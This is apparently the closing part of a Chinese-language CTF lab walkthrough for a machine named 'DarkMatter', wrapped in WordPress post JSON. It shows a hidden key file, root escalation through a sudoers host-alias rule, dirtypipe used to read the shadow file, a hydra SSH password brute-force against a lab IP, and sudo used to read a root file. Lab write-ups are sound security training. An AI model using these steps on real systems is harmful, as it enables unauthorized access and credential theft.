<!--\nDarkMatter's All Power is here ^(#\uff40\u2200 \u00b4)_\u03a8\n<?xml version="1.0" encoding="utf-8"?>\n<KeyFile>\n        <Meta>\n                <Version>2.0<\/Version>\n        <\/Meta>\n        <Key>\n                <Data Hash="180EC55B">\n                        AE9AEE5F 228C56A6 42D81928 59EF70B8\n                        1A9468F9 C7FA509E 6A290BE5 60111681\n                <\/Data>\n        <\/Key>\n<\/KeyFile>\n--><\/code><\/pre>\n
\u653e\u5230\u4e00\u4e2a\u6587\u4ef6\uff0c\u5c1d\u8bd5\u89e3\u5bc6\uff1a<\/p>\n
(remote) www-data@DarkMatter:\/tmp$ cat key.xml \n<?xml version="1.0" encoding="utf-8"?>\n<KeyFile>\n        <Meta>\n                <Version>2.0<\/Version>\n        <\/Meta>\n        <Key>\n                <Data Hash="180EC55B">\n                        AE9AEE5F 228C56A6 42D81928 59EF70B8\n                        1A9468F9 C7FA509E 6A290BE5 60111681\n                <\/Data>\n        <\/Key>\n<\/KeyFile><\/code><\/pre>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ hash-identifier \n   #########################################################################\n   #     __  __                     __           ______    _____           #\n   #    \/\\ \\\/\\ \\                   \/\\ \\         \/\\__  _\\  \/\\  _ `\\         #\n   #    \\ \\ \\_\\ \\     __      ____ \\ \\ \\___     \\\/_\/\\ \\\/  \\ \\ \\\/\\ \\        #\n   #     \\ \\  _  \\  \/'__`\\   \/ ,__\\ \\ \\  _ `\\      \\ \\ \\   \\ \\ \\ \\ \\       #\n   #      \\ \\ \\ \\ \\\/\\ \\_\\ \\_\/\\__, `\\ \\ \\ \\ \\ \\      \\_\\ \\__ \\ \\ \\_\\ \\      #\n   #       \\ \\_\\ \\_\\ \\___ \\_\\\/\\____\/  \\ \\_\\ \\_\\     \/\\_____\\ \\ \\____\/      #\n   #        \\\/_\/\\\/_\/\\\/__\/\\\/_\/\\\/___\/    \\\/_\/\\\/_\/     \\\/_____\/  \\\/___\/  v1.2 #\n   #                                                             By Zion3R #\n   #                                                    www.Blackploit.com #\n   #                                                   Root@Blackploit.com #\n   #########################################################################\n--------------------------------------------------\n HASH: AE9AEE5F228C56A642D8192859EF70B81A9468F9C7FA509E6A290BE560111681\n\nPossible Hashs:\n[+] SHA-256\n[+] Haval-256\n\nLeast Possible Hashs:\n[+] GOST R 34.11-94\n[+] RipeMD-256\n[+] SNEFRU-256\n[+] SHA-256(HMAC)\n[+] Haval-256(HMAC)\n[+] RipeMD-256(HMAC)\n[+] SNEFRU-256(HMAC)\n[+] SHA-256(md5($pass))\n[+] SHA-256(sha1($pass))\n--------------------------------------------------\n HASH: ^C\n\n        Bye!<\/code><\/pre>\n
\u8bd5\u4e86\u5f88\u591a\uff0c\u4f46\u662f\u6ca1\u80fd\u6210\u529f\u3002<\/p>\n
sudoers\u63d0\u6743root<\/h3>\n
\u4e4b\u524d\u7684sudoers<\/code>\u6211\u4e00\u76f4\u4ee5\u4e3a\u662f\u88ab\u6076\u610f\u6c61\u67d3\u4e86<\/p>\n
darkenergy@DarkMatter:~$ cat \/etc\/sudoers.d\/darkenergy\ndarkenergy rettaMkraD = (root) NOPASSWD: \/bin\/bash<\/code><\/pre>\n
\u4f46\u662f\u5b9e\u9645\u4e0a\u5374\u662f\u6b63\u786e\u65b9\u5411\uff0c\u770b\u4e00\u4e0b\u6587\u6863\uff1a<\/p>\n
# This fixes CVE\u20102005\u20104890 and possibly breaks some  versions  of\nkdesu  #  (#1011624, https:\/\/bugs.kde.org\/show_bug.cgi?id=452532)\nDefaults        use_pty\n# This preserves proxy settings from user environments of root  #\nequivalent   users   (group  sudo)  #Defaults:%sudo  env_keep  +=\n"http_proxy https_proxy ftp_proxy all_proxy no_proxy"\n# This allows running arbitrary commands, but so does ALL, and it\nmeans # different sudoers have their choice of editor  respected.\n#Defaults:%sudo env_keep += "EDITOR"\n#  Completely  harmless  preservation of a user preference.  #De\u2010\nfaults:%sudo env_keep += "GREP_COLOR"\n# While you shouldn\u2019t normally run git as root, you need to  with\netckeeper  #Defaults:%sudo  env_keep += "GIT_AUTHOR_* GIT_COMMIT\u2010\nTER_*"\n# Per\u2010user preferences; root won\u2019t have sensible values for them.\n#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"\n# "sudo scp" or "sudo rsync" should  be  able  to  use  your  SSH\nagent.  #Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"\n#    Ditto    for   GPG   agent   #Defaults:%sudo   env_keep   +=\n"GPG_AGENT_INFO"\n# Host alias specification             <-\u5173\u952e\u3002\u3002\u3002\u3002\u3002\n# User alias specification\n# Cmnd alias specification\n# User privilege specification root    ALL=(ALL:ALL) ALL\n#  Allow  members  of  group  sudo   to   execute   any   command\n%sudo   ALL=(ALL:ALL) ALL\n# See sudoers(5) for more information on "@include" directives:\n@includedir \/etc\/sudoers.d<\/code><\/pre>\n
\u518d\u770b\u4e00\u4e0bsudo\u7684\u6587\u6863\uff1a<\/p>\n
NAME\n       sudo, sudoedit \u2014 execute a command as another user\n\nSYNOPSIS\n       sudo -h | -K | -k | -V\n       sudo -v [-ABkNnS] [-g group] [-h host] [-p prompt] [-u user]\n       sudo -l [-ABkNnS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command [arg ...]]\n       sudo [-ABbEHnPS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-r role] [-t type] [-T timeout] [-u user] [VAR=value] [-i | -s] [command [arg ...]]\n       sudoedit [-ABkNnS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-r role] [-t type] [-T timeout] [-u user] file ...\n.............\n-h host, --host=host\n    Run the command on the specified host if the security policy plugin supports remote commands. The sudoers plugin does not currently support running remote commands. This may also be used in conjunction with the -l option to list a user's privileges for the remote host.\n.............<\/code><\/pre>\n
\u6240\u4ee5\u4e4b\u524d\u6211\u4eec\u53ea\u627e\u4e86rettaMkraD<\/code>\u4e0d\u5728\u7528\u6237\u548c\u7ec4\u5185\uff0c\u7ed3\u679c\u8fd9\u662f\u4e00\u4e2a\u57df\u540d\u7279\u6743\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n
\"image-20240809085837351\"<\/div><\/p>\n
\u5b8c\u6bd5\uff01\u6492\u82b1:cherry_blossom:\uff01lol\uff01<\/p>\n
\u5c0f\u5f69\u86cb<\/h2>\n
dirtypipe<\/code>\u8fdb\u53bb\u62ff\u4e0bshadow<\/code>\u53d1\u73b0www-data<\/code>\u6709\u5bc6\u7801\uff0c\u5e38\u89c4\u662f\u6ca1\u5bc6\u7801\u7684\u3002\u3002\u3002<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ grep -P '^dark' \/usr\/share\/wordlists\/rockyou.txt > temp\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ hydra -l www-data -P temp ssh:\/\/192.168.10.106         \nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-08-08 13:18:25\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 5428 login tries (l:1\/p:5428), ~340 tries per task\n[DATA] attacking ssh:\/\/192.168.10.106:22\/\n[22][ssh] host: 192.168.10.106   login: www-data   password: darkstar\n1 of 1 target successfully completed, 1 valid password found\n[WARNING] Writing restore file because 4 final worker threads did not complete until end.\n[ERROR] 4 targets did not resolve or could not be connected\n[ERROR] 0 target did not complete\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-08-08 13:18:29<\/code><\/pre>\n
\"image-20240809012130535\"<\/div><\/p>\n
(remote) www-data@DarkMatter:\/$ sudo -u root \/usr\/bin\/cat \/root\/important.txt > \/tmp\/important.txt\n(remote) www-data@DarkMatter:\/$ cat -A \/tmp\/important.txt\nA great website isn't run by a normal user, but by a great administrator$\n                                                            - daarkmatter$<\/code><\/pre>\n
\u53c2\u8003<\/h2>\n
https:\/\/www.bilibili.com\/video\/BV1uz421k7CA\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
DarkMatter \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter] […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-775","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/775","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=775"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/775\/revisions"}],"predecessor-version":[{"id":776,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/775\/revisions\/776"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=775"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=775"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=775"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}